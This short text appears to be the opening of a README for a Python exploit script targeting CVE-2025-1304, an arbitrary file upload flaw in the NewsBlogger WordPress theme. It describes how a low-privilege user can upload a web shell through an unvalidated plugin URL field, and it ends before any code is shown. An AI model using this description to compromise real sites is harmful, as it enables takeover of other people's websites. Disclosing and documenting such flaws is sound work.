CVSS Score: 8.8 (High)
Vulnerability Type: Arbitrary File Upload
Component: WordPress Theme
CVE ID: CVE-2025-1304
The NewsBlogger WordPress theme (versions <= 0.2.5.1) is vulnerable to an Arbitrary File Upload via the admin welcome panel.
This vulnerability allows any authenticated user — including those with the minimal Subscriber role — to upload a malicious .zip archive containing a web shell.
The upload occurs through an unvalidated plugin URL field, which fails to properly verify the content or type of the uploaded file.
A successful attack could lead to full compromise of the website, including remote command execution and privilege escalation.
This Python script automates the exploitation of the vulnerability by:
